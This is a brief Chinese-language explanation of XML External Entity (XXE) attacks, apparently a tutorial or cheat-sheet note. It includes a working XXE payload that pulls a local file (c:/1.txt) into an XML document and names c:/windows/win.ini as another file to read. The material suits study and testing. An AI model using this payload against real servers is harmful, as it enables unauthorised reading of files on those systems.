XXE是一種針對XML終端實施的攻擊，黑客想要實施這種攻擊，需要在XML的payload包含外部實體聲明，且服務器本身允許實體擴展。這樣的話，黑客或許能讀取WEB服務器的文件系統，通過UNC路徑訪問遠程文件系統，或者通過HTTP/HTTPS連接到任意主機。  ``` Payload： <?xml version='1.0' encoding='UTF-8'?> <!DOCTYPE a [<!ENTITY b SYSTEM 'file:///c:/1.txt'>]> <students> <student> <w>&b;</w> <name>zhangsan</name> <age>20</age> <class><![CDATA[11]]></class> </student> <student> <name>xiaoming</name> <age>16</age> <class><![CDATA[22]]></class> </student> </students> file:///c:/windows/win.ini ```